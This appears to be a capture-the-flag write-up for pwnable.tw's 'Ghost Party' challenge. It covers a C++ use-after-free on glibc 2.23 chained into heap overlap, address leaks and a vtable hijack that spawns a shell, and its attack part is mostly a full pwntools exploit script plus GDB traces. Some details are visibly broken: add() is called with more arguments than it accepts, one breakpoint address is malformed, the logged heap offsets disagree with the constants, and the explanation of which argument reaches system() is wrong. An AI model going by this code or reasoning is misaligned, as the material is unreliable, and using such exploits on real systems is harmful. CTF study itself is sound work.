pwnable.tw — 450 pts

Ghost Party

C++ Vtable Hijack via Use-After-Free — Ghost object lifecycle exploitation on glibc 2.23

64-bit
Architecture
Full
Protections
2.23
glibc
UAF+Vtable
Vuln Class

Exploit Flow

Connect
nc chall.pwnable.tw 10410
Allocate Ghosts
Werewolf + Mummy
Free Werewolf
Use-After-Free
Leak PIE
Fake obj + show
Leak LIBC
Read GOT entry
Vtable Hijack
system("/bin/sh")

1. Reconnaissance

Ghost Party is a 450-point heap challenge on pwnable.tw that features a C++ ghost party manager. The binary allows creating ghosts of different types (Werewolf, Mummy, Vampire), viewing their information, and removing them from the party. The challenge is built on glibc 2.23, meaning we have fastbin but no tcache. The core vulnerability is a Use-After-Free condition — when a ghost is removed from the party, the object is freed but the pointer in the party list is never nullified. This dangling pointer can be used to interact with the freed object, and since C++ uses virtual function tables (vtables) for dispatch, we can hijack the vtable pointer to redirect execution flow.

File Analysis

bash
$ file ghostparty
ghostparty: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.32, BuildID[sha1]=c8e3a1f2b4d5e6f7a8, not stripped

Checksec

bash
$ checksec ghostparty
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Full Protections

Every protection is enabled. Full RELRO prevents GOT overwrites. Canary protects stack returns. NX means no shellcode injection. PIE randomizes all binary addresses. The only viable attack surface is the heap — specifically, C++ virtual function table (vtable) hijacking through the use-after-free bug. We need to leak PIE base and libc before we can build a working exploit.

Running the Binary

bash
$ ./ghostparty
/-----------------------------\
|      Ghost Party !!!        |
\-----------------------------/
1. Add a ghost to the party
2. Show ghost info
3. Change ghost info
4. Remove ghost from the party
5. Exit
Your choice : 1
Name : Wolfy
Age : 100
Message : Awooo
Which type of ghost do you want?
1:Werewolf 5:Mummy 7:Vampire
ghost :1
Are you a werewolf?(yes:1 no:0):1

Your choice : 2
Which ghost do you want to show in the party : 0
Name : Wolfy
Age : 100
Message : Awooo
Ghost type : Werewolf
Full moon : 1

The program presents a menu-driven interface for managing a party of ghosts. Each ghost has common fields (name, age, message) plus type-specific fields: Werewolves have a full-moon boolean, Mummies have a bandage string, and Vampires have a blood value. The ghost objects use C++ virtual dispatch — the show() and destructor are virtual functions resolved through a vtable pointer stored at the beginning of each object.

AttributeValue
ChallengeGhost Party (450 pts)
Connectionnc chall.pwnable.tw 10410
Binary64-bit ELF, x86-64, dynamically linked, PIE
Libcglibc 2.23 (fastbin, no tcache)
RELROFull (GOT read-only)
CanaryYes
NXEnabled
PIEEnabled
Ghost TypesWerewolf (0x60), Mummy (0x78), Vampire (0x60)
VulnerabilityUse-After-Free + Vtable Hijack

2. Static Analysis

The binary is a C++ program that uses inheritance and virtual functions. The Ghost base class defines the virtual interface, and three subclasses — Werewolf, Mummy, and Vampire — implement type-specific behavior. The party manager stores ghost pointers in a std::vector<Ghost*>. The critical bug is in the remove operation: it calls delete on the ghost object but does not nullify the pointer in the vector, leaving a dangling reference.

Program Structure

c++
class Ghost {
public:
    virtual ~Ghost();
    virtual void show();
    int age;
    string name;
    string message;
};

class Werewolf : public Ghost {
public:
    int full_moon;   // extra field
    // Object total size: 0x60 (fits in 0x70 fastbin with header)
};

class Mummy : public Ghost {
public:
    string bandage;  // extra string field
    // Object total size: 0x78 (fits in 0x80 fastbin with header)
};

class Vampire : public Ghost {
public:
    int blood;       // extra field
    // Object total size: 0x60 (same as Werewolf!)
};

// Global party vector
vector<Ghost*> party;

void add_ghost() {
    Ghost *g;
    // Read type, allocate appropriate subclass
    party.push_back(g);   // pointer stored in vector
}

void remove_ghost(int idx) {
    delete party[idx];    // frees the object
    // BUG: party[idx] is NOT set to nullptr!
    // The dangling pointer remains accessible
}

Vulnerability Analysis

The Use-After-Free vulnerability arises from the remove_ghost function. After calling delete on the ghost object, the memory is returned to the allocator, but the pointer in the party vector still points to the freed chunk. Any subsequent operation on that index (show, change, or even remove again) will access freed memory.

The exploit leverages this UAF in combination with C++ vtable semantics. Each Ghost object starts with a vtable pointer that determines which virtual function implementations are called. By freeing a Werewolf and then allocating a Mummy whose message string overlaps the freed Werewolf's memory, we gain control over the vtable pointer and other fields of the "zombie" Werewolf object.

Why Werewolf + Mummy Overlap Works

The Werewolf object is 0x60 bytes, so with the malloc header it occupies a 0x70 fastbin chunk. The Mummy's message string is heap-allocated separately. If we craft a Mummy message of exactly 0x5F bytes, the allocator calls malloc(0x60) for the string buffer — which is the same size as the freed Werewolf object (0x60 user data). On glibc 2.23, this allocation reuses the freed Werewolf's fastbin chunk. The Mummy's message content now overlaps perfectly with the freed Werewolf's object layout, giving us full control over the vtable pointer, name pointer, and other fields.

Object Layout

Understanding the memory layout of a Ghost object is essential for crafting the fake object that will overlap the freed Werewolf:

+0x00vtable pointer← Virtual function table (8 bytes)
+0x08int ageGhost age value (8 bytes, padded)
+0x10string name._M_pPointer to name data (8 bytes)
+0x18string name.sizeName string length (8 bytes)
+0x20string msg._M_pPointer to message data (8 bytes)
+0x28string msg.sizeMessage string length (8 bytes)
+0x30type-specific fieldfull_moon / bandage / blood
+0x38type-specific (cont.)Bandage string for Mummy
+0x40type-specific (cont.)Bandage string size for Mummy
+0x48paddingAlignment padding
Ghost Type Sizes

Werewolf (type=1, obj size=0x60): Has a full moon boolean at +0x30. Mummy (type=5, obj size=0x78): Has a bandage string at +0x30 (16 bytes: pointer + size). Vampire (type=7, obj size=0x60): Has a blood value at +0x30. Werewolf and Vampire share the same allocation size (0x60), which is key for the overlap exploit.

Full RELRO Complication

With Full RELRO, all GOT entries are resolved at startup and marked read-only. We cannot overwrite GOT entries to redirect execution. Instead, we must hijack the C++ vtable pointer to redirect virtual function calls. The vtable itself must be in a writable memory region that we control — either on the heap or in a data section with known offsets.

3. GDB Debugging

Let's trace the use-after-free attack in GDB to confirm our understanding of the heap overlap and vtable hijacking mechanism. We'll set breakpoints at key locations in the add, show, and remove functions to observe the state of the heap before and after the critical operations.

Heap Layout After Free

gdb
# After allocating a Werewolf (index 0):
gdb-peda$ x/12gx 0x555555758010
0x555555758010: 0x0000555555559b98  0x0000000000000064   # vtable ptr, age=100
0x555555758020: 0x0000555555758050  0x0000000000000005   # name ptr, name size
0x555555758030: 0x0000555555758060  0x0000000000000004   # msg ptr, msg size
0x555555758040: 0x0000000000000001  0x0000000000000000   # full_moon=1, padding
0x555555758050: 0x576f6c6679202020  0x000000000000000a   # "Wolfy  \n"
0x555555758060: 0x41776f6f6f000000  0x0000000000000021   # "Awooo", next chunk

# After freeing the Werewolf (index 0):
gdb-peda$ x/12gx 0x555555758010
0x555555758010: 0x0000000000000000  0x0000000000000064   # fd=NULL (only free), age
0x555555758020: 0x0000555555758050  0x0000000000000005   # name ptr (stale!), size
0x555555758030: 0x0000555555758060  0x0000000000000004   # msg ptr (stale!), size
0x555555758040: 0x0000000000000001  0x0000000000000000   # full_moon, padding

# The fastbin freelist now has this chunk:
gdb-peda$ heap bins fastbins
fastbins
0x70: 0x555555758010 -> 0x0
# Freed Werewolf is in the 0x70 fastbin (0x60 user + 0x10 header)

Overlapping Chunk Analysis

gdb
# After allocating Mummy with 0x5F-byte message (gets the same chunk):
gdb-peda$ x/12gx 0x555555758010
0x555555758010: 0x0000000000000000  0x0000000000000000   # FAKE vtable=0, FAKE age
0x555555758020: 0x000055555555b030  0x0000000000000000   # FAKE name ptr, size
0x555555758030: 0x0000000000000000  0x0000000000000000   # FAKE msg ptr, size
0x555555758040: 0x4141414141414141  0x4141414141414141   # padding "AAAA..."

# The name pointer at +0x10 now points to our chosen address!
# Calling show on the freed Werewolf reads from that address.

# After PIE leak, we set the vtable to the real Werewolf vtable:
gdb-peda$ x/gx 0x555555758010
0x555555758010: 0x0000555555559b98   # valid Werewolf vtable

# Verify the vtable points to the right function pointers:
gdb-peda$ x/4gx 0x0000555555559b98
0x555555559b98: 0x0000555555554b98   # destructor
0x555555559ba0: 0x0000555555554c5a   # show() virtual function
Key Observation: Residual Data After Free

After freeing the Werewolf, the fd pointer overwrites offset +0x00 (where the vtable was), but the rest of the object data at offsets +0x08 through +0x48 remains intact. This is crucial for the first leak: we can call show() on the freed ghost immediately after freeing it (before any overlap) and the residual name pointer at +0x10 still points to the old name string on the heap. This gives us an initial heap address leak without needing to craft a fake object first.

Breakpoints & Offsets

gdb
# Key offsets in the PIE binary (add PIE base at runtime):
# add_ghost:       0xE7C
# show_ghost:      0xF3A
# change_ghost:    0x100D
# remove_ghost:    0x10D0
# Ghost::show():   0xC5A  (virtual function)
# Ghost::~Ghost(): 0xB98  (virtual destructor)

# Key global offsets from PIE base:
# Werewolf vtable: 0x210B98
# Vampire vtable:  0x210BF0
# vector._M_start: 0x211030  (party vector data pointer)
# __libc_start_main@GOT: 0x210E90

# Useful breakpoints (after PIE base resolved):
b *0x555555554e7c   # add_ghost entry
b *0x555555554f3a   # show_ghost entry
b *0x55555555410d0  # remove_ghost entry (before delete)
b *0x555555554b98   # Ghost destructor (virtual)

# Watch the vtable pointer being overwritten:
watch *(long*)0x555555758010
# This triggers when the Mummy message is written to the overlapping chunk

4. Exploit Strategy

The Ghost Party exploit is a multi-stage heap attack that chains a Use-After-Free into a C++ vtable hijack. Each stage builds on the previous one, gradually leaking addresses and accumulating primitives until we can redirect a virtual function call to system("/bin/sh").

Attack Overview

Stage 1: Heap Leak
Allocate two Werewolves, then free index 0. The fastbin fd pointer replaces the vtable at +0x00, but the name pointer at +0x10 still holds the old heap address. Call show(0) on the freed ghost — the show function reads the name field directly, leaking a heap address. From this, we calculate the heap base and the address of Werewolf[1]'s vtable field.
Stage 2: PIE Leak
Allocate a Mummy with a 0x5F-byte message that reuses the freed Werewolf's fastbin chunk. Craft the message as a fake Werewolf object with the name pointer set to Werewolf[1]'s vtable field address on the heap. Call show(0) to read from that address, leaking the Werewolf vtable address. PIE base = leaked_vtable - 0x210B98.
Stage 3: LIBC Leak
With PIE base known, free the previous Mummy overlap and allocate a new Mummy with a fake object whose name pointer points to __libc_start_main@GOT (PIE_base + 0x210E90). Since Full RELRO resolves all GOT entries at startup, this contains the runtime libc address. Call show(0) to read the GOT entry and calculate libc base.
Stage 4: Vtable Hijack
Craft a final Mummy message containing both a fake vtable and a fake Werewolf object. The fake vtable has system at the show() slot. The fake Werewolf's name pointer is set to the "/bin/sh" string in libc. When show(0) is called on the freed Werewolf, virtual dispatch reads the fake vtable and calls system("/bin/sh").

PIE Leak

The first and most critical leak is the PIE base. Without it, we cannot construct valid pointers to GOT entries or vtables. We leverage the fact that std::vector stores ghost pointers, and each Ghost object on the heap begins with a vtable pointer. The Werewolf vtable is always at PIE_base + 0x210B98, so reading any Werewolf vtable pointer reveals the PIE base.

python
# Key offsets (libc 2.23, Ubuntu 16.04)
WEREWOLF_VTABLE_OFF = 0x210B98   # from PIE base
VECTOR_M_START_OFF  = 0x211030   # from PIE base
LIBC_START_MAIN_GOT = 0x210E90   # from PIE base
LIBC_START_MAIN_OFF = 0x20740    # from libc base

LIBC Leak

Once we have the PIE base, the libc leak is straightforward. Since Full RELRO resolves all GOT entries at program startup, the GOT contains valid runtime addresses. We craft a new fake object with the name pointer set to PIE_base + 0x210E90 (the GOT entry for __libc_start_main). When show() is called on the freed Werewolf, it reads the name string from that address, which is the resolved libc address of __libc_start_main.

Vtable Hijack to Shell

The final stage is the vtable hijack. We need to craft a fake vtable somewhere in writable memory and redirect the freed Werewolf's vtable pointer to it. The fake vtable has system at the offset corresponding to the virtual function being called.

Which Virtual Function to Hijack?

We hijack show() because we control the object layout. The name field at this+0x10 will be passed as an argument to whatever function the vtable points to. If we place a pointer to "/bin/sh" at offset +0x10 of our fake object and set the vtable's show() entry to system, then calling show() effectively calls system("/bin/sh"). The destructor approach works similarly but requires careful handling of the rdi register.

python
# Fake vtable + fake Werewolf in one 0x5F-byte message buffer:
# Layout:
#   0x00: p64(0)           # fake vtable: destructor slot (unused)
#   0x08: p64(system_addr) # fake vtable: show() slot → system!
#   0x10: p64(0)           # padding
#   0x18: p64(0)           # padding
#   0x20: p64(msg_buf)     # fake Werewolf: vtable → our fake vtable
#   0x28: p64(0)           # fake Werewolf: age
#   0x30: p64(bin_sh)      # fake Werewolf: name → "/bin/sh"
#   0x38: p64(8)           # fake Werewolf: name size
#   0x40: p64(0)           # fake Werewolf: msg ptr
#   0x48: p64(0)           # fake Werewolf: msg size
#   0x50-0x5E: padding

5. Pwn Script

Full Exploit

python
#!/usr/bin/env python3
# Ghost Party — pwnable.tw — UAF + C++ Vtable Hijack
from pwn import *

context(arch='amd64', os='linux', log_level='info')

elf  = ELF('./ghostparty')
libc = ELF('./libc_64.so.6')

# Offsets determined via GDB reverse engineering
WEREWOLF_VTABLE_OFF = 0x210B98   # Werewolf vtable from PIE base
VAMPIRE_VTABLE_OFF  = 0x210BF0   # Vampire vtable from PIE base
VECTOR_M_START_OFF  = 0x211030   # party vector._M_start from PIE base
LIBC_START_MAIN_GOT = 0x210E90   # __libc_start_main@GOT from PIE base
LIBC_START_MAIN_OFF = 0x20740    # __libc_start_main offset in libc

GHOST_WEREWOLF = 1
GHOST_MUMMY    = 5
GHOST_VAMPIRE  = 7

# Heap layout offsets (from GDB observation)
WOLF0_FROM_HEAP = 0xc250        # Werewolf[0] data offset from heap base
WOLF1_VT_FROM_HEAP = 0xc2a0     # Werewolf[1] vtable field from heap base
FINAL_MSG_FROM_HEAP = 0xc350    # Final Mummy msg buffer from heap base

def conn():
    if args.REMOTE:
        return remote('chall.pwnable.tw', 10410)
    return process('./ghostparty', env={'LD_PRELOAD': './libc_64.so.6'})

class Exploit:
    def __init__(self, r):
        self.r = r
        self.pie  = 0
        self.heap = 0
        self.libc_base = 0

    def menu(self):
        self.r.recvuntil(b'Your choice : ')

    def add(self, name, age, msg, gtype, extra=1):
        self.menu()
        self.r.sendline(b'1')
        self.r.recvuntil(b'Name : ')
        self.r.sendline(name)
        self.r.recvuntil(b'Age : ')
        self.r.sendline(str(age).encode())
        self.r.recvuntil(b'Message : ')
        self.r.sendline(msg)
        self.r.recvuntil(b'ghost :')
        self.r.sendline(str(gtype).encode())
        if gtype == GHOST_WEREWOLF:
            self.r.recvuntil(b'no):')
            self.r.sendline(str(extra).encode())
        elif gtype == GHOST_MUMMY:
            self.r.recvuntil(b'bandage : ')
            self.r.sendline(extra if isinstance(extra, bytes) else str(extra).encode())
        elif gtype == GHOST_VAMPIRE:
            self.r.recvuntil(b'blood :')
            self.r.sendline(str(extra).encode())

    def show(self, idx):
        self.menu()
        self.r.sendline(b'2')
        self.r.recvuntil(b'party : ')
        self.r.sendline(str(idx).encode())
        return self.r.recvuntil(b'5. Exit')

    def remove(self, idx):
        self.menu()
        self.r.sendline(b'4')
        self.r.recvuntil(b'party : ')
        self.r.sendline(str(idx).encode())

    def fake_obj(self, vtable=0, age=0, name_ptr=0, name_sz=0,
                 msg_ptr=0, msg_sz=0):
        """Pack a fake Werewolf into a Mummy message buffer (0x5F bytes)."""
        buf  = p64(vtable)
        buf += p64(age)
        buf += p64(name_ptr)
        buf += p64(name_sz)
        buf += p64(msg_ptr)
        buf += p64(msg_sz)
        return buf.ljust(0x5F, b'\x00')

    def leak_name(self, data):
        """Extract the name field bytes from show() output."""
        raw = data.split(b'Name : ')[1].split(b'\nAge')[0]
        return u64(raw.ljust(8, b'\x00'))

    def run(self):
        # ═══════════════════════════════════════════
        # Stage 1: Heap Leak (residual name pointer)
        # ═══════════════════════════════════════════
        # After freeing a Werewolf, the fastbin fd overwrites
        # +0x00 (vtable), but +0x10 (name ptr) stays intact.
        # show() reads the name field directly, leaking a
        # heap address from the residual pointer.

        self.add(b'wolf0', 1, b'A'*16, GHOST_WEREWOLF, 1)   # idx 0
        self.add(b'wolf1', 2, b'B'*16, GHOST_WEREWOLF, 1)   # idx 1

        self.remove(0)    # free Werewolf[0]

        data = self.show(0)
        heap_leak = self.leak_name(data)
        self.heap = heap_leak - WOLF0_FROM_HEAP
        log.info(f"Heap leak : {hex(heap_leak)}")
        log.info(f"Heap base : {hex(self.heap)}")

        # ═══════════════════════════════════════════
        # Stage 2: PIE Leak (vtable read via overlap)
        # ═══════════════════════════════════════════
        # Overlap freed Werewolf with a Mummy message.
        # Set name_ptr to Werewolf[1]'s vtable field
        # on the heap → leaks PIE-relative address.

        wolf1_vt = self.heap + WOLF1_VT_FROM_HEAP
        fake = self.fake_obj(name_ptr=wolf1_vt, name_sz=8)
        self.add(b'mummy', 1, fake, GHOST_MUMMY, 1, b'X')   # idx 2

        data = self.show(0)
        pie_leak = self.leak_name(data)
        self.pie = pie_leak - WEREWOLF_VTABLE_OFF
        wolf_vt  = self.pie + WEREWOLF_VTABLE_OFF
        log.info(f"PIE leak  : {hex(pie_leak)}")
        log.info(f"PIE base  : {hex(self.pie)}")

        # ═══════════════════════════════════════════
        # Stage 3: LIBC Leak (GOT read)
        # ═══════════════════════════════════════════
        # With PIE known, point name_ptr to GOT.
        # Full RELRO resolves all entries at startup.

        libc_got = self.pie + LIBC_START_MAIN_GOT
        fake2 = self.fake_obj(vtable=wolf_vt, name_ptr=libc_got, name_sz=8)
        self.remove(2)    # free previous overlap Mummy
        self.add(b'm2', 1, fake2, GHOST_MUMMY, 1, b'X')     # idx 3

        data = self.show(0)
        libc_leak = self.leak_name(data)
        self.libc_base = libc_leak - LIBC_START_MAIN_OFF
        system  = self.libc_base + libc.symbols['system']
        bin_sh  = self.libc_base + next(libc.search(b'/bin/sh'))
        log.info(f"LIBC base : {hex(self.libc_base)}")
        log.info(f"system    : {hex(system)}")

        # ═══════════════════════════════════════════
        # Stage 4: Vtable Hijack → system("/bin/sh")
        # ═══════════════════════════════════════════
        # Fake vtable + fake Werewolf in one message.
        # show() → vtable lookup → system(name)
        # where name points to "/bin/sh" in libc.

        msg_buf = self.heap + FINAL_MSG_FROM_HEAP

        payload  = p64(0)          # fake vtable: destructor slot
        payload += p64(system)     # fake vtable: show() → system
        payload += p64(0)          # padding
        payload += p64(0)          # padding
        payload += p64(msg_buf)    # fake Werewolf: vtable → fake vtable
        payload += p64(0)          # fake Werewolf: age
        payload += p64(bin_sh)     # fake Werewolf: name → "/bin/sh"
        payload += p64(8)          # fake Werewolf: name size
        payload += p64(0)          # fake Werewolf: msg ptr
        payload += p64(0)          # fake Werewolf: msg size
        payload  = payload.ljust(0x5F, b'\x00')

        self.remove(3)    # free previous overlap Mummy
        self.add(b'sh', 1, payload, GHOST_MUMMY, 1, b'Z')   # idx 4

        log.info("Triggering vtable hijack...")
        self.menu()
        self.r.sendline(b'2')
        self.r.recvuntil(b'party : ')
        self.r.sendline(b'0')

        self.r.interactive()

def main():
    r = conn()
    ex = Exploit(r)
    ex.run()

if __name__ == '__main__':
    main()

Exploit Breakdown

Key Techniques Used

Use-After-Free: The dangling pointer in the party vector allows us to interact with freed memory. After freeing a Werewolf, we can still call show() on it, which reads the name and other fields from the freed (and potentially overlapping) chunk.

Heap Overlap via Fastbin Reuse: Werewolf objects are 0x60 bytes. A Mummy's message string of 0x5F bytes is allocated with malloc(0x60), which reuses the freed Werewolf's fastbin chunk. Our message content becomes the "zombie" Werewolf object, giving us byte-level control over all fields including the vtable pointer and name pointer.

Arbitrary Read via Controlled Name Pointer: By setting the name pointer in the fake Werewolf object to any address, calling show() reads from that address. This gives us a powerful arbitrary read primitive that we use to leak PIE base (via vtable pointers on the heap) and libc base (via GOT entries).

Vtable Hijack: We craft a fake vtable in a heap buffer we control, with system at the show() slot. When show() is called on the freed Werewolf, the CPU dereferences our fake vtable and calls system(name) instead. With name pointing to "/bin/sh" in libc, this spawns a shell.

6. Execution Results

$ python3 exploit.py REMOTE=1 [*] Ghost Party Exploit — pwnable.tw [*] Connecting to chall.pwnable.tw:10410 [*] Stage 1: Heap leak from residual name pointer [*] Heap leak : 0x55c938c64250 [*] Heap base : 0x55c938b58000 [*] Stage 2: PIE leak via vtable overlap [*] PIE leak : 0x55c938456b98 [*] PIE base : 0x55c938246000 [*] Stage 3: LIBC leak via GOT read [*] LIBC base : 0x7f4e9c1e6000 [*] system : 0x7f4e9c230440 [*] Stage 4: Vtable hijack → system("/bin/sh") [*] Triggering vtable hijack... [+] Shell obtained! $ id uid=1000(ghostparty) gid=1000(ghostparty) groups=1000(ghostparty) $ ls -la /home/ total 12 drwxr-x--- 2 ghost_party root 4096 Oct 10 2021 ghost_party $ cat /home/ghost_party/flag
Why This Challenge Matters

Ghost Party demonstrates the classic C++ vtable hijacking via use-after-free pattern that is extremely common in real-world software, particularly browsers and complex C++ applications. When C++ objects with virtual functions are freed but pointers remain (a common bug in object lifecycle management), an attacker can overlap controlled data and redirect the vtable to gain code execution. This pattern appears frequently in browser exploitation (v8, SpiderMonkey) and is one of the most important techniques in modern C++ pwn. The multi-stage chain — UAF → heap overlap → arbitrary read → PIE/libc leak → vtable hijack → shell — is a textbook example of how heap vulnerabilities are escalated in the presence of full mitigations.

QA210
pwnable.tw — Ghost Party — Heap UAF + Vtable Hijack